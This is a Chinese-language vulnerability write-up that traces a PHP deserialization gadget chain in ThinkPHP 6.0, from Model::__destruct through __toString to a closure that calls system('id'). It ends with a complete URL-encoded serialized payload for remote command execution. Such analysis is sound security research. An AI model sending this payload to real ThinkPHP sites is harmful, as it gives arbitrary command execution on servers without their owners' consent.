Thinkphp6.0反序列化
环境搭建
使用composer搭建
1 | composer create-project topthink/think=6.0.x-dev TPv6.0 |
创建入口文件
1 | <?php |
文件路径为app/controller/Index.php如图
代码分析
漏洞入口点为__destruct() 路径为vendor/topthink/think-orm/src/Model.php
分析代码我们可以看到要经过一次if判断然后去调用save,只要if 判断为true就会去调用save,跟进lazySave可以看到就算不满足这两个if条件返回的仍旧是true也就是说return的lazySave默认就是True。
接下来跟进save方法
1 | if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) { |
如果不想返回值为false首先就要满足的是这个if语句,跟进isEmpty
看到源码我们只需要满足$this->data不为空即可;
再跟进$this->trigger;
满足$this->withEvent=false即可返回true;
满足该if语句后执行下一段代码
1 | $result = $this->exists ? $this->updateData() : $this->insertData($sequence); |
看到这个代码知道是三元运算,如果$this->exists为true则去进入$this->updateData()反之进入$this->insertData($sequence)
分别跟进代码$this->updateData()
$this->insertData;
分析代码发现updateDate里存在可利用的点,就是标出的两个if语句
第一个if语句和上面的一样只需要满足$this->withEvent=false即可返回true;
第二个if语句,首先我们跟进getChangedData方法,因为$data的属性值由它所控制
1 | public function getChangedData(): array |
只需要$this->force为true,则直接返回$this->data;返回了1;我们回到updateDate中就可以进入checkAllowFields()方法了
我们跟进checkAllowFields
1 | protected function checkAllowFields(): array |
由于$this->field,$this->schema默认都为空,所以满足条件
可利用点为$this->db(),我们跟进db方法;
1 | public function db($scope = []): Query |
发现字符拼接点
1 | $query->table($this->table . $this->suffix); |
如果可以满足判断的话就可以执行下面的拼接代码,从而触发__toString()魔术方法,将$this->table设置为响应类对象就可以。
__destruct()的反序列化链
接下来就是__toString()链的构造
利用点位于vendor\topthink\think-orm\src\model\concern\Conversion.php
调用了toJson,跟进toJson
继续跟进toArray。
我们看到两个elseif都吊用了getAttr,所以我们要触发这个方法。对$data进行遍历,此时$key的值即为$data的键,传入参数调用getAttr,跟进getAttr
传入的$key值就传入了getData中,跟进getData
第一个if判断传入的值,$key值不为空,因此绕过,然后$key值传入到了getRealFieldName()方法,跟进getRealFieldName方法
只要$this->strict为true即可返回$name 就是最开始从toArray()传进来的$key值。
从getRealFieldName回到getData方法进入下面这个判断
此时$fieldName就为$key,返回的值就为$this->data[$key];
再从getData返回到getAttr
返回的值就是
1 | $this->getValue($name, $value, $relation); |
$name就是传入$data的$key值,参数$value
的值就是$this->data[$key]
继续跟进下getValue
这个方法中的name就是传入的key值 ,参数$value
的值就是$this->data[$key]
,标出的部分就是当$this->strict为true即可返回$name
第一个红框标出的if判断可知$this->withAttr[$key]是存在的且不是数组所以不满足第二个判断进入elseif
最终利用点
1 | $value = $closure($value, $this->data); |
$this->withAttr[$key]为函数名
$this->data[$key]为参数
1 | $this->withAttr["system"] |
这最后实际上执行的就是system(“id”)
__toString()链也构造完成
还需要注意的是Model
类是抽象类,不能实例化。所以要想利用,得找出Model
类的一个子类进行实例化,这里可以用Pivot
类进行利用。
最后还需要将前面说的table
声明为Pivot类对象,从而将两个POP链串联起来。
payload
1 | O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22ly0n%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22ly0n%22%3Bs%3A2%3A%22id%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A4%3A%22ly0n%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A4%3A%22ly0n%22%3Bs%3A2%3A%22id%22%3B%7D%7D |
验证